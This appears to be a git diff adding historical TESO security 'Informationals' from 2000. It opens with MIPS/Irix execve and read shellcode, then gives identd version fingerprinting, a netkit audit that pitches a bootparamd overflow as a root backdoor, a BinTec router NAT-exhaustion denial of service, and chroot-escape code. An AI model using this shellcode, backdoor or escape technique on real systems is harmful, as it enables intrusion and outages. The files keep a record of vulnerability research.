| 629 | 0x27a5fff8, /* addiu $a1, $sp, -8 */ | ||
| 630 | 0x24020423, /* li $v0, 1059 (execve) */ | ||
| 631 | 0x0101010c, /* syscall */ | ||
| 632 | 0x240f7350, /* li $t7, 0x7350 (nop) */ | ||
| 633 | 0x2f62696e, /* .ascii "/bin" */ | ||
| 634 | 0x2f736842, /* .ascii "/sh", .byte 0xdummy */ | ||
| 635 | }; | ||
| 636 | |||
| 637 | == read | ||
| 638 | |||
| 639 | /* 40 byte MIPS/Irix PIC stdin-read shellcode. -scut/teso | ||
| 640 | */ | ||
| 641 | unsigned long int shellcode[] = { | ||
| 642 | 0x24048cb0, /* li $a0, -0x7350 */ | ||
| 643 | /* dpatch: */ 0x0490ffff, /* bltzal $a0, dpatch */ | ||
| 644 | 0x2804ffff, /* slti $a0, $zero, -1 */ | ||
| 645 | 0x240fffe3, /* li $t7, -29 */ | ||
| 646 | 0x01e07827, /* nor $t7, $t7, $zero */ | ||
| 647 | 0x03ef2821, /* addu $a1, $ra, $t7 */ | ||
| 648 | 0x24060201, /* li $a2, 0x0201 (513 bytes) */ | ||
| 649 | 0x240203eb, /* li $v0, SYS_read */ | ||
| 650 | 0x0101010c, /* syscall */ | ||
| 651 | 0x24187350, /* li $t8, 0x7350 (nop) */ | ||
| 652 | }; | ||
| 653 | |||
| 654 | |||
| 655 | References | ||
| 656 | ========== | ||
| 657 | |||
| 658 | For further information you may want to consult this excellent references: | ||
| 659 | |||
| 660 | [1] See MIPS Run | ||
| 661 | Dominic Sweetman, Morgan Kaufmann Publishers | ||
| 662 | ISBN 1-55860-410-3 | ||
| 663 | |||
| 664 | [2] MIPSPro Assembly Language Programmer's Guide - Volume 1/2 | ||
| 665 | Document Number 007-2418-001 | ||
| 666 | http://www.mips.com/ and http://www.sgi.com/ | ||
| 667 | |||
| 668 | =============================================================================== | ||
| 669 | |||
diff --git a/informationals/teso-i0021.txt b/informationals/teso-i0021.txt new file mode 100644 index 0000000..b421fb8 --- /dev/null +++ b/informationals/teso-i0021.txt | |||
| @@ -0,0 +1,70 @@ | |||
| 1 | 0021 2000/04/15 pidentd VERSION Linux distribution fingerprinting | ||
| 2 | |||
| 3 | ==== TESO Informational ======================================================= | ||
| 4 | This piece of information is to be kept confidential. | ||
| 5 | =============================================================================== | ||
| 6 | |||
| 7 | Description ..........: pidentd VERSION Linux distribution fingerprinting | ||
| 8 | Date .................: 2000/04/15 17:00 | ||
| 9 | Author ...............: scut | ||
| 10 | Publicity level ......: known | ||
| 11 | Affected .............: identd daemons | ||
| 12 | Type of entity .......: method to obtain information | ||
| 13 | Type of discovery ....: useful information | ||
| 14 | Severity/Importance ..: low | ||
| 15 | Found by .............: version infos by TESO people | ||
| 16 | |||
| 17 | =============================================================================== | ||
| 18 | |||
| 19 | There are lots of different Linux distributions, and although you can often | ||
| 20 | determine the distribution used from their banners, such as the telnet banner | ||
| 21 | or the HTTP Server response field, it is difficult to determine the | ||
| 22 | distribution from a hardened Linux box. They often only have SSH and identd | ||
| 23 | enabled. | ||
| 24 | |||
| 25 | However, most people don't know about the identd "VERSION" request, where the | ||
| 26 | most popular ident daemon used by almost every Linux distribution, the pidentd, | ||
| 27 | answers with it's own version number and compile time. | ||
| 28 | |||
| 29 | Here is a list compiled through the help of TESO and friends, that will help | ||
| 30 | you to determine the distribution remotely. Thanks go out to all the people | ||
| 31 | that send in those lines :-) | ||
| 32 | |||
| 33 | To get the version, just do: | ||
| 34 | |||
| 35 | (echo VERSION ; sleep 2) | telnet localhost 113 | ||
| 36 | |||
| 37 | Please mail new distribution and identd version information to | ||
| 38 | scut@nb.in-berlin.de, so I can keep this list up to date. | ||
| 39 | |||
| 40 | 0 , 0 : X-VERSION : <text> | ||
| 41 | |||
| 42 | <text> Distribution | ||
| 43 | ------------------------------------------------------------ ------------------ | ||
| 44 | 2.6.1 (Compiled: 17:21:18 Jul 2 1998) Debian 2.0 | ||
| 45 | 2.6.1 (Compiled: 17:47:13 Feb 13 1999) Debian 2.1 | ||
| 46 | 2.5.1 DLD 5.41 Pro | ||
| 47 | pidentd 3.0.7 for Linux 2.2.13-22 (Nov 7 1999 00:18:10) Halloween 4 | ||
| 48 | INVALID-PORT SlackWare 4 | ||
| 49 | 2.8.3 (Compiled: 00:36:16 Oct 22 1999) SlackWare 7 | ||
| 50 | 2.7.4 (Compiled: 06:11:54 Aug 22 1998) SuSE 5.3 | ||
| 51 | 2.7.4 (Compiled: 13:20:35 Dec 14 1998) SuSE 6.0 | ||
| 52 | 2.7.4 (Compiled: 06:22:26 Apr 15 1999) SuSE 6.1 | ||
| 53 | 2.7.4 (Compiled: 13:22:44 Jul 23 1999) SuSE 6.2 EVAL | ||
| 54 | 2.7.4 (Compiled: 17:09:12 Aug 22 1999) SuSE 6.2 | ||
| 55 | pidentd 3.0.7 for Linux 2.2.10 (Nov 8 1999 20:30:25) SuSE 6.3 | ||
| 56 | pidentd 3.1a14 for Linux 2.2.14 (Mar 24 2000 22:28:31) SuSE 6.4 | ||
| 57 | UNKNOWN-ERROR RedHat 5.2 | ||
| 58 | 2.8.3 (Compiled: 22:18:25 Jan 27 1999) RedHat 6.0 Publish | ||
| 59 | 2.8.5 (Compiled: 22:13:48 Mar 21 1999) RedHat 6.0 | ||
| 60 | pidentd 3.0.7 for Linux 2.2.5-22smp (Sep 13 1999 20:16:57) RedHat 6.1 | ||
| 61 | pidentd 3.0.10 for Linux 2.2.5-22smp (Feb 22 2000 16:14:21) RedHat 6.2 | ||
| 62 | 0 , 0 : ERROR : INVALID-PORT Stampede Linux | ||
| 63 | ------------------------------------------------------------ ------------------ | ||
| 64 | |||
| 65 | Also, the 3.* versions of the pidentd daemon respond to case mixed VERSION | ||
| 66 | requests, such as "vERSION", while the 2.* versions need a case fixed "VERSION" | ||
| 67 | request and otherwise doesn't recognize it as a command. | ||
| 68 | |||
| 69 | =============================================================================== | ||
| 70 | |||
diff --git a/informationals/teso-i0022.txt b/informationals/teso-i0022.txt new file mode 100644 index 0000000..de5a592 --- /dev/null +++ b/informationals/teso-i0022.txt | |||
| @@ -0,0 +1,266 @@ | |||
| 1 | 0022 2000/03/19 TESO AUDIT summary: netkit-combo-0.16 | ||
| 2 | |||
| 3 | ==== TESO Informational ======================================================= | ||
| 4 | This piece of information is to be kept confidential. | ||
| 5 | =============================================================================== | ||
| 6 | |||
| 7 | Description ..........: TESO AUDIT summary: netkit-combo-0.16 | ||
| 8 | Date .................: 2000/03/19 22:00 | ||
| 9 | Author ...............: scut | ||
| 10 | Publicity level ......: unknown | ||
| 11 | Affected .............: Linux netkit-combo-0.16 | ||
| 12 | Type of entity .......: implementation | ||
| 13 | Type of discovery ....: auditing | ||
| 14 | Severity/Importance ..: medium | ||
| 15 | Found by .............: TESO AUDIT team | ||
| 16 | |||
| 17 | Information =================================================================== | ||
| 18 | |||
| 19 | This are the results from the TESO Audit project for the netkit-combo-0.16 | ||
| 20 | package. | ||
| 21 | |||
| 22 | No severe vulnerability has been found in the netkit package, although a lot | ||
| 23 | of minor issues and half-exploitable things were found. Altogether there were | ||
| 24 | seven issues found. | ||
| 25 | |||
| 26 | netkit-bootparamd | ||
| 27 | -- buffer overflow from config file parsing | ||
| 28 | description by Bawd: | ||
| 29 | |||
| 30 | Launching the bootparamd with the debug option in background | ||
| 31 | |||
| 32 | [root@foobar rpc.bootparamd]# ./bootparamd -d & | ||
| 33 | [2] 1268 | ||
| 34 | |||
| 35 | Now launch the callbootd (the bootparam debugging proggie given with | ||
| 36 | the package) | ||
| 37 | |||
| 38 | [root@foobar rpc.bootparamd]# ./callbootd 127.0.0.1 127.0.0.1 | ||
| 39 | bootparamd: whoami got question for 127.0.0.1 | ||
| 40 | This is host localhost | ||
| 41 | |||
| 42 | [2]+ Segmentation Fault (core dumped) ./bootparamd -d | ||
| 43 | |||
| 44 | Here it segfault, why ? | ||
| 45 | |||
| 46 | In fact, the bootparam daemon, receives our request of boot, it looks | ||
| 47 | at the file /etc/bootparams and copies the location of the bootparams | ||
| 48 | database. | ||
| 49 | |||
| 50 | Lets jump in the code to see what does the dameon exactly: | ||
| 51 | |||
| 52 | It's in the rpc.bootparamd.c and more precisely in: | ||
| 53 | |||
| 54 | static int getthefile(char *askname,char *fileid,char *buffer) | ||
| 55 | |||
| 56 | they say : | ||
| 57 | /* getthefile return 1 and fills the buffer with the information | ||
| 58 | of the file, e g "host:/export/root/client" if it can be found. | ||
| 59 | If the host is in the database, but the file is not, the buffer | ||
| 60 | will be empty. (This makes it possible to give the special | ||
| 61 | empty answer for the file "dump") */ | ||
| 62 | |||
| 63 | |||
| 64 | lets go: | ||
| 65 | bpf = fopen(bootpfile, "r"); | ||
| 66 | |||
| 67 | open the file /etc/bootparams | ||
| 68 | |||
| 69 | if (match) { | ||
| 70 | fid_len = strlen(fileid); | ||
| 71 | while (!res && (fscanf(bpf,"%s", info)) > 0) { | ||
| 72 | ch = getc(bpf); /* and a character */ | ||
| 73 | if (*info != '#') { /* Comment ? */ | ||
| 74 | if (!strncmp(info, fileid, fid_len) && | ||
| 75 | *(info + fid_len) == '=') | ||
| 76 | { | ||
| 77 | where = info + fid_len + 1; | ||
| 78 | if (isprint(*where)) { | ||
| 79 | /* found file */ | ||
| 80 | strcpy(buffer, where); | ||
| 81 | res = 1; break; | ||
| 82 | } | ||
| 83 | } | ||
| 84 | |||
| 85 | |||
| 86 | the offending code is in the strcpy | ||
| 87 | it copies the line it found, into the buffer while the buffer is | ||
| 88 | defined like this: | ||
| 89 | (in the bootparamproc_getfile_1_svc) | ||
| 90 | |||
| 91 | if (getthefile(askname, getfile->file_id,buffer)) | ||
| 92 | |||
| 93 | and static char buffer[MAXLEN]; with #define MAXLEN 800 | ||
| 94 | |||
| 95 | so you can edit the /etc/bootparams configuration file and insert | ||
| 96 | something like | ||
| 97 | 192.168.0.111:/AAAAAAAAAAA*2000 | ||
| 98 | resulting in a segfault | ||
| 99 | |||
| 100 | So you see that we have to edit the configuration file. It cant be of | ||
| 101 | real use if you trying to remotely exploit this little bug, but (there | ||
| 102 | is a but), you can use it as a wicked backdoor. | ||
| 103 | Say you gained root access to the box and the box runs rpc.bootparamd. | ||
| 104 | Then you can edit the configuration file like this: | ||
| 105 | 156.3.2.1:THE_SHELLCODE_that_casts_a_shell | ||
| 106 | |||
| 107 | then remotely you can start callbootd like this: | ||
| 108 | ./callbootd <victim-ip> <156.3.2.1> | ||
| 109 | and here you have a good rpc.bootparamd that casts you a shell. | ||
| 110 | |||
| 111 | |||
| 112 | bsd-finger/finger/display.c:122 | ||
| 113 | -- documentation/commentation error | ||
| 114 | |||
| 115 | \t isn't stripped in finger replies, although comments say so. | ||
| 116 | |||
| 117 | * locale settings or is on the other side of the planet. So, | ||
| 118 | * strip 0-31, 127, 128-159, and 255. Note that not stripping | ||
| 119 | * 128-159 is asking for trouble, as 155 (M-esc) is interpreted | ||
| 120 | |||
| 121 | if (((ch&0x7f) >= 32 && (ch&0x7f) != 0x7f) || ch=='\t') { | ||
| 122 | |||
| 123 | |||
| 124 | bsd-finger/finger/display.c:141 | ||
| 125 | -- characters 127-159 that should be stripped can be circumvented | ||
| 126 | |||
| 127 | although characters above and equal to 0x80 are and'ed with \x7f they | ||
| 128 | are later outputted, prepended with "M-^<char>" the <char> is the old | ||
| 129 | original character and'ed with \x7f and \x40 added. so character \x9b, | ||
| 130 | which should be filtered can be outputted by using \xdb, since | ||
| 131 | (\xdb & \x7f) + '@' will result in \x9b. | ||
| 132 | |||
| 133 | if (ch&0x80) { | ||
| 134 | putc('M', f); | ||
| 135 | putc('-', f); | ||
| 136 | ch &= 0x7f; | ||
| 137 | } | ||
| 138 | |||
| 139 | putc('^', f); | ||
| 140 | if (ch==0x7f) putc('?', f); | ||
| 141 | else putc(ch+'@', f); | ||
| 142 | |||
| 143 | |||
| 144 | netkit-rwho/rwhod/rwhod.c:246 | ||
| 145 | netkit-rwho/rwhod/rwhod.c:294 | ||
| 146 | -- path relevant remotely supplied characters arent stripped from tempfile | ||
| 147 | |||
| 148 | rwhod creates a tempfile from the hostname passed from the remote | ||
| 149 | client: | ||
| 150 | |||
| 151 | wd.wd_hostname[sizeof(wd.wd_hostname)-1] = 0; | ||
| 152 | if (!verify(wd.wd_hostname)) { | ||
| 153 | syslog(LOG_WARNING, "malformed host name from %x", | ||
| 154 | from.sin_addr); | ||
| 155 | continue; | ||
| 156 | } | ||
| 157 | snprintf(path, sizeof(path), "whod.%s", wd.wd_hostname); | ||
| 158 | whod = open(path, O_WRONLY | O_CREAT, 0644); | ||
| 159 | |||
| 160 | while the wd_hostname is truncated and verified the verification | ||
| 161 | routine misses some important characters: | ||
| 162 | |||
| 163 | static int | ||
| 164 | verify(const char *name) | ||
| 165 | { | ||
| 166 | register int size = 0; | ||
| 167 | |||
| 168 | while (*name) { | ||
| 169 | if (!isascii(*name) || !(isalnum(*name) || | ||
| 170 | ispunct(*name))) | ||
| 171 | return (0); | ||
| 172 | name++, size++; | ||
| 173 | } | ||
| 174 | return size > 0; | ||
| 175 | } | ||
| 176 | |||
| 177 | so verify ("../../") and verify ("/etc/") return true. whether this | ||
| 178 | results in something exploitable has to be checked. | ||
| 179 | |||
| 180 | Exploitation requires write access to /var/spool/rwho, which is 0755. | ||
| 181 | Unless there is a "arbitrary-make-directory" vulnerability this is | ||
| 182 | not exploitable. | ||
| 183 | |||
| 184 | |||
| 185 | netkit-ntalk/talkd/announce.c:135 | ||
| 186 | -- buffer being copied into another buffer may be 9 bytes too long | ||
| 187 | |||
| 188 | talkd creates some messages before writing the user supplied message | ||
| 189 | to the term. after doing this it merges all messages into one big | ||
| 190 | buffer. however the length checking can be circumvented, as in: | ||
| 191 | |||
| 192 | bptr = big_buf; | ||
| 193 | *bptr++ = '^G'; /* send something to wake them up */ | ||
| 194 | *bptr++ = '\r'; /* add a \r in case of raw mode */ | ||
| 195 | *bptr++ = '\n'; | ||
| 196 | for (i = 0; i < N_LINES; i++) { | ||
| 197 | /* copy the line into the big buffer */ | ||
| 198 | lptr = line_buf[i]; | ||
| 199 | while (*lptr != '\0') | ||
| 200 | *(bptr++) = safechar(*(lptr++)); | ||
| 201 | /* pad out the rest of the lines with blanks */ | ||
| 202 | for (j = sizes[i]; j < max_size + 2; j++) | ||
| 203 | *(bptr++) = ' '; | ||
| 204 | *(bptr++) = '\r'; /* add a \r in case of raw mode */ | ||
| 205 | *(bptr++) = '\n'; | ||
| 206 | } | ||
| 207 | *bptr = 0; | ||
| 208 | |||
| 209 | max_size can be (N_CHARS - 1) as largest value. then the total amount | ||
| 210 | of data being copied is (((N_CHARS - 1) + 2) * N_LINES) + 4 bytes long, | ||
| 211 | which is (N_CHARS = 120, N_LINES = 5): 121 * 5 + 4 = 609 bytes. the | ||
| 212 | buffer big_buf is only N_CHARS*N_LINES (= 600) bytes long. bingo. | ||
| 213 | |||
| 214 | this is only exploitable under a lot of conditions, practically this | ||
| 215 | is of no real use in the field. | ||
| 216 | |||
| 217 | |||
| 218 | netkit-ntalk/talkd/announce.c:161 | ||
| 219 | -- tty filename is user supplied opened without character white/blacklisting | ||
| 220 | |||
| 221 | the talk request announcement is made through directly writing at the | ||
| 222 | target users tty. to check whether this is possible the full path to | ||
| 223 | the tty device file is constructed. this construction does just | ||
| 224 | connects the dev directory path (usualy "/dev/") to the user supplied | ||
| 225 | tty. so user supplied terminal names such as "../root/.rhosts" is | ||
| 226 | possible theoretically. the bad thing about this is that previously | ||
| 227 | to this call this is blocked by the find_user function, which checks | ||
| 228 | whether a) the user is logged in, and b) the user supplied tty is | ||
| 229 | a correct one. however, it should be fixed. | ||
| 230 | |||
| 231 | snprintf(full_tty, sizeof(full_tty), "%s/%s", _PATH_DEV, | ||
| 232 | request->r_tty); | ||
| 233 | if (access(full_tty, F_OK) != 0) | ||
| 234 | return FAILED; | ||
| 235 | fd = open(full_tty, O_WRONLY|O_NOCTTY); | ||
| 236 | if (fd<0) { | ||
| 237 | return (PERMISSION_DENIED); | ||
| 238 | } | ||
| 239 | if (fstat(fd, &stbuf) < 0) { | ||
| 240 | return (PERMISSION_DENIED); | ||
| 241 | } | ||
| 242 | if ((stbuf.st_mode&020) == 0) { | ||
| 243 | return (PERMISSION_DENIED); | ||
| 244 | } | ||
| 245 | print_mesg(fd, request, remote_machine); | ||
| 246 | |||
| 247 | |||
| 248 | netkit-base/ping/ping.c:329 | ||
| 249 | -- invalid parsing of IP address information | ||
| 250 | |||
| 251 | if (sscanf(optarg, "%u.%u.%u.%u%c", | ||
| 252 | &i1, &i2, &i3, &i4, &junk) != 4) { | ||
| 253 | printf("bad interface address '%s'\n", | ||
| 254 | optarg); | ||
| 255 | exit(2); | ||
| 256 | } | ||
| 257 | ifaddr.s_addr = (i1<<24)|(i2<<16)|(i3<<8)|i4; | ||
| 258 | |||
| 259 | since the numbers are parsed as unsigned integers one can set an | ||
| 260 | arbitraty s_addr by using a defunc IP such as for example | ||
| 261 | 0.0.0.2378322822. this is not exploitable since later this address | ||
| 262 | is checked when setting the multicast options on the icmp socket. | ||
| 263 | however, it should be fixed. | ||
| 264 | |||
| 265 | =============================================================================== | ||
| 266 | |||
diff --git a/informationals/teso-i0023.txt b/informationals/teso-i0023.txt new file mode 100644 index 0000000..b21eb1c --- /dev/null +++ b/informationals/teso-i0023.txt | |||
| @@ -0,0 +1,156 @@ | |||
| 1 | 0023 2000/04/16 Information on BinTec Router DoS | ||
| 2 | |||
| 3 | ==== TESO Informational ======================================================= | ||
| 4 | This piece of information is to be kept confidential. | ||
| 5 | =============================================================================== | ||
| 6 | |||
| 7 | Description ..........: By filling the NAT table of a BinTec Router one can | ||
| 8 | force the machine to reboot because of memory shortage | ||
| 9 | Date .................: 2000/04/16 00:00 | ||
| 10 | Author ...............: rookie | ||
| 11 | Publicity level ......: unknown | ||
| 12 | Affected .............: BinTec Router (BRICK-XS1/4 tested) | ||
| 13 | Firmware 4.9.3 has fixed this bug by deleting | ||
| 14 | Table entries, the 'Final Release' 5.1.2 reintroduced | ||
| 15 | the bug again | ||
| 16 | Type of entity .......: | ||
| 17 | Type of discovery ....: | ||
| 18 | Severity/Importance ..: low, stupid DoS, easy to use | ||
| 19 | Found by .............: rookie | ||
| 20 | |||
| 21 | =============================================================================== | ||
| 22 | |||
| 23 | BinTec Router will reboot automatically when memory is short, so the perfect | ||
| 24 | DoS is to fill up the memory. | ||
| 25 | |||
| 26 | A common setup especially for workgroup and small business Access Router to | ||
| 27 | connect many computers over one or two ISDN lines is NAT (Network Adress | ||
| 28 | Translation). However, NAT is also considered to be a 'security feature' | ||
| 29 | because it acts like a stateful transparent proxy for private networks, so it | ||
| 30 | can be found on other setups, too. | ||
| 31 | |||
| 32 | Due to this behaviour a router doing NAT has to manage a table with the | ||
| 33 | following information for every connection: | ||
| 34 | |||
| 35 | internal network ip & port -> router external port -> target ip & port | ||
| 36 | |||
| 37 | |||
| 38 | a.) | ||
| 39 | |||
| 40 | Example from an XS Router (Firmware 5.1.2): | ||
| 41 | |||
| 42 | cass:system> ipNatTable | ||
| 43 | |||
| 44 | inx IfIndex(*ro) Protocol(*ro) IntAddr(*ro) IntPort(*ro) | ||
| 45 | ExtAddr(ro) ExtPort(ro) RemoteAddr(ro) RemotePort(ro) | ||
| 46 | Direction(ro) Age(ro) | ||
| 47 | |||
| 48 | 00 10001 tcp 192.168.0.100 1112 | ||
| 49 | 195.202.39.137 32824 212.3.152.130 50005 | ||
| 50 | outgoing 0 00:00:02.00 | ||
| 51 | |||
| 52 | |||
| 53 | b.) | ||
| 54 | |||
| 55 | A packet with SYN flag establishes an entry: | ||
| 56 | |||
| 57 | raven:~# nmap -sS www.ccc.de -p 12345 | ||
| 58 | |||
| 59 | 08 10001 tcp 192.168.0.100 63072 | ||
| 60 | 195.202.39.137 33016 195.21.255.248 12345 | ||
| 61 | outgoing 0 00:00:02.00 | ||
| 62 | |||
| 63 | |||
| 64 | c.) | ||
| 65 | |||
| 66 | However the table entry is deleted for that connection if a RST, FIN or | ||
| 67 | ICMP Error is received: | ||
| 68 | |||
| 69 | cass:ipExtIfTable> ipextifnatrmvfin | ||
| 70 | |||
| 71 | inx NatRmvFin(rw) | ||
| 72 | |||
| 73 | 00 yes /* ethernet 1*/ | ||
| 74 | |||
| 75 | 01 yes /* ethernet 2*/ | ||
| 76 | |||
| 77 | 02 yes /* dial up line */ | ||
| 78 | |||
| 79 | |||
| 80 | d.) | ||
| 81 | |||
| 82 | For idle connections there is a timeout of 1 hour for TCP and 30 | ||
| 83 | seconds for icmp and udp: | ||
| 84 | |||
| 85 | cass:ipExtIfTable> ipextifnattcptimeout | ||
| 86 | |||
| 87 | inx NatTcpTimeout(rw) | ||
| 88 | |||
| 89 | 00 3600 | ||
| 90 | |||
| 91 | 01 3600 | ||
| 92 | |||
| 93 | 02 3600 | ||
| 94 | |||
| 95 | cass:ipExtIfTable> ipextifnatothertimeout | ||
| 96 | |||
| 97 | inx NatOtherTimeout(rw) | ||
| 98 | |||
| 99 | 00 30 | ||
| 100 | |||
| 101 | 01 30 | ||
| 102 | |||
| 103 | 02 30 | ||
| 104 | |||
| 105 | |||
| 106 | Notice: Setting down the timeout won't help much, you can force the machine | ||
| 107 | to reboot with nmap -sS down to about 2 seconds *with* RSTet | ||
| 108 | connections. With anything below 30 seconds the router will kill any | ||
| 109 | telnet, IRC and whatsoever idle connection. | ||
| 110 | |||
| 111 | Conclusion: Rebooting the machine from the masqueraded network is trivial by | ||
| 112 | sending lots of SYN packets from different source IPs and ports to | ||
| 113 | an external IP that does not send RST packets back (however even | ||
| 114 | thenn the router memory might overflow) | ||
| 115 | |||
| 116 | e.) | ||
| 117 | |||
| 118 | Very often a forward rule is implemented to allow services from the outside | ||
| 119 | through NAT. | ||
| 120 | |||
| 121 | The default behaviour is to reject connections from the outside: | ||
| 122 | |||
| 123 | Apr 19 23:39:18 cass INET: NAT: refused incoming session on ifc 10001 prot 6 | ||
| 124 | 195.202.39.137:113 <- 128.176.216.234:1046 | ||
| 125 | |||
| 126 | However a forward rule can be defined: | ||
| 127 | |||
| 128 | Service user defined | ||
| 129 | Protocol tcp | ||
| 130 | Port (-1 for any) 113 | ||
| 131 | Destination 192.168.0.100 | ||
| 132 | |||
| 133 | The identd request goes through: | ||
| 134 | |||
| 135 | Apr 20 00:39:28 raven tcplogd: auth connection attempt from | ||
| 136 | HOTSPOT2.UNI-MUENSTER.DE [128.176.216.234] | ||
| 137 | |||
| 138 | |||
| 139 | f.) | ||
| 140 | |||
| 141 | Entry in the NAT Table: | ||
| 142 | |||
| 143 | cass:ipNatTable> ipNatTable | ||
| 144 | |||
| 145 | inx IfIndex(*ro) Protocol(*ro) IntAddr(*ro) IntPort(*ro) | ||
| 146 | ExtAddr(ro) ExtPort(ro) RemoteAddr(ro) RemotePort(ro) | ||
| 147 | Direction(ro) Age(ro) | ||
| 148 | |||
| 149 | 05 10001 tcp 192.168.0.100 113 | ||
| 150 | 195.202.39.137 113 128.176.216.234 1049 | ||
| 151 | incoming 0 00:00:05.00 | ||
| 152 | |||
| 153 | Conclusion: Rebooting from the outside is simple if a forward rule has been | ||
| 154 | defined (very likely). | ||
| 155 | |||
| 156 | =============================================================================== | ||
diff --git a/informationals/teso-i0024.txt b/informationals/teso-i0024.txt new file mode 100644 index 0000000..b3fe037 --- /dev/null +++ b/informationals/teso-i0024.txt | |||
| @@ -0,0 +1,136 @@ | |||
| 1 | 0024 2000/05/06 chroot break possibilities overview | ||
| 2 | |||
| 3 | ==== TESO Informational ======================================================= | ||
| 4 | This piece of information is to be kept confidential. | ||
| 5 | =============================================================================== | ||
| 6 | |||
| 7 | Description ..........: chroot break possibilities overview | ||
| 8 | Date .................: 2000/05/06 13:00 | ||
| 9 | Author ...............: scut | ||
| 10 | Publicity level ......: known | ||
| 11 | Affected .............: most OS's offering the chroot() system call | ||
| 12 | Type of entity .......: access elevation | ||
| 13 | Type of discovery ....: useful information | ||
| 14 | Severity/Importance ..: low | ||
| 15 | Found by .............: original discovery unknown, OS data by vax and teso | ||
| 16 | |||
| 17 | =============================================================================== | ||
| 18 | |||
| 19 | Most Unix operating systems offer the chroot() system call. With it the root | ||
| 20 | pointer of the filesystem can be changed for one process, so only parts of the | ||
| 21 | filesystem are still visible to it. This is useful for some daemons, which | ||
| 22 | would have access to the whole filesystem in case their security breaks. | ||
| 23 | However to properly allow the chroot() idea to work, two things must be done | ||
| 24 | directly after the chroot() call: a chdir to the chroot'ed directory must be | ||
| 25 | done and the superuser privileges have to be dropped. | ||
| 26 | |||
| 27 | The first condition, the change dir to the chroot directory is required because | ||
| 28 | the current working directory is still outside of the chroot directory and the | ||
| 29 | OS will treat any process which is outside of it's chroot pointer as if the | ||
| 30 | chroot doesn't exist. Once it is inside this will change and the process can | ||
| 31 | not escape from the directory. The dropping of the superuser privileges has | ||
| 32 | another cause, since only the root user can issue chroot() system calls, he | ||
| 33 | may be able to issue chroot() calls even when inside the chroot directory, | ||
| 34 | this has to be disabled by dropping the privileges. | ||
| 35 | |||
| 36 | The trick to break chroot() is just working under UID 0 and works as this: | ||
| 37 | |||
| 38 | /* chroot + chdir */ | ||
| 39 | chroot ("/tmp"); | ||
| 40 | chdir ("/tmp"); | ||
| 41 | |||
| 42 | /* now we're jailed in /tmp, so our root / is actually /tmp */ | ||
| 43 | /* create a subdirectory */ | ||
| 44 | mkdir ("foobar", 0700); | ||
| 45 | |||
| 46 | /* chroot to this subdirectory */ | ||
| 47 | chroot ("foobar"); | ||
| 48 | |||
| 49 | /* now we're outside of the chroot'ed environment, so we cd up */ | ||
| 50 | /* to the root directory */ | ||
| 51 | for (i = 10 ; i > 0 ; --i) | ||
| 52 | chdir (".."); | ||
| 53 | |||
| 54 | /* now undo the whole chroot mess */ | ||
| 55 | chroot ("."); | ||
| 56 | |||
| 57 | As you can see we first get outside of the change root directory not by | ||
| 58 | changing or working directory (because we can't do that), but by changing | ||
| 59 | the chroot directory itself to a subdirectory. For this operation we need | ||
| 60 | root privileges. Since we are outside the chroot environment we can freely | ||
| 61 | move our working directory except into the chroot()'ed one, which would | ||
| 62 | limit us again. Once we are at the root directory we chroot to it to undo | ||
| 63 | the whole mess created earlier. | ||
| 64 | |||
| 65 | Who discovered this nice trick in the first place is unknown, if you know | ||
| 66 | it please contact me. | ||
| 67 | |||
| 68 | Unfortunatly this does not work on all operating systems. Here is a list of | ||
| 69 | operating systems and whether they allow this. Thanks to vax, skyper, doze and | ||
| 70 | various other people to help compiling this data. | ||
| 71 | |||
| 72 | Operating System break successful | ||
| 73 | ------------------------------------- ----------------- | ||
| 74 | AIX 4.1.5 no | ||
| 75 | AIX 4.3.3 no | ||
| 76 | FreeBSD 2.2.8-STABLE yes | ||
| 77 | FreeBSD 4.0-RELEASE no | ||
| 78 | IRIX 5.3 yes | ||
| 79 | IRIX 6.4 yes | ||
| 80 | IRIX 6.5 yes | ||
| 81 | Linux 2.0.x yes | ||
| 82 | Linux 2.2.x yes | ||
| 83 | Linux 2.3.x yes | ||
| 84 | OpenBSD 2.6 no | ||
| 85 | OpenBSD 2.7-beta no | ||
| 86 | SunOS 5.5 yes | ||
| 87 | SunOS 5.5.1 yes | ||
| 88 | SunOS 5.6 yes | ||
| 89 | SunOS 5.7 yes | ||
| 90 | ------------------------------------- ----------------- | ||
| 91 | |||
| 92 | If you have test data that isn't in the list yet, please mail it to me. | ||
| 93 | (scut@nb.in-berlin.de) | ||
| 94 | |||
| 95 | ADDENDUM: | ||
| 96 | (from a mail send to HERT mailinglist about 7350wu chroot breaking code. | ||
| 97 | smiler thinks this does not work on normal chroot-scenarios, but | ||
| 98 | nevertheless I include it for the archives ;) | ||
| 99 | |||
| 100 | Date: Tue, 19 Sep 2000 00:16:30 +0200 | ||
| 101 | From: Kalou <pb@hert.org> | ||
| 102 | To: hert@hert.org | ||
| 103 | Subject: [HERT Private] drunk again | ||
| 104 | |||
| 105 | Just to restate some things clearly : | ||
| 106 | |||
| 107 | linux/7350wu/7350wu.c: unmodified: line 142 of 1450 [9%]. | ||
| 108 | |||
| 109 | /* break chroot and exec /bin/sh - dont use on an unbreakable host like 4.0 */ | ||
| 110 | |||
| 111 | I wish i could reach [-sc. & z-.] =) | ||
| 112 | |||
| 113 | As i may have posted some time ago, freebsd chroot() is breakable | ||
| 114 | even with FreeBSD 4-0.. In 4.0, they forbid a chroot() with an open | ||
| 115 | file descriptor pointing to a directory *but* they forget to call | ||
| 116 | chdir() from within chroot(). So anything you need to break it is | ||
| 117 | to chroot() without having done an open("."..) and to chdir("../../../..") | ||
| 118 | immediatly after. Shortly, just remove open(".") and fchdir() from your | ||
| 119 | eggshells. This works with older releases, too. | ||
| 120 | |||
| 121 | I didn't see many public chroot breaking techniques not involving this | ||
| 122 | fchdir() trick, that is necessary only for O.S. that chdir() when you | ||
| 123 | call chroot(). | ||
| 124 | |||
| 125 | Anyway don't forget chroot() allows mknod(). | ||
| 126 | |||
| 127 | This was tested on: | ||
| 128 | |||
| 129 | FreeBSD eclipse 4.0-RELEASE FreeBSD 4.0-RELEASE #4: Sat Aug 19 22:08:48 CEST 2000 | ||
| 130 | root@eclipse:/usr/src/sys/compile/ECLIPSE alpha | ||
| 131 | |||
| 132 | Just please correct this if i'm wrong. | ||
| 133 | |||
| 134 | |||
| 135 | =============================================================================== | ||
| 136 | |||
diff --git a/informationals/teso-i0025.txt b/informationals/teso-i0025.txt new file mode 100644 index 0000000..4e73dac --- /dev/null +++ b/informationals/teso-i0025.txt | |||
| @@ -0,0 +1,291 @@ | |||
| 1 | 0025 2000/05/20 some spicy tricks for buffer overflow exploitation | ||
| 2 | |||
| 3 | ==== TESO Informational ======================================================= | ||
| 4 | This piece of information is to be kept confidential. | ||
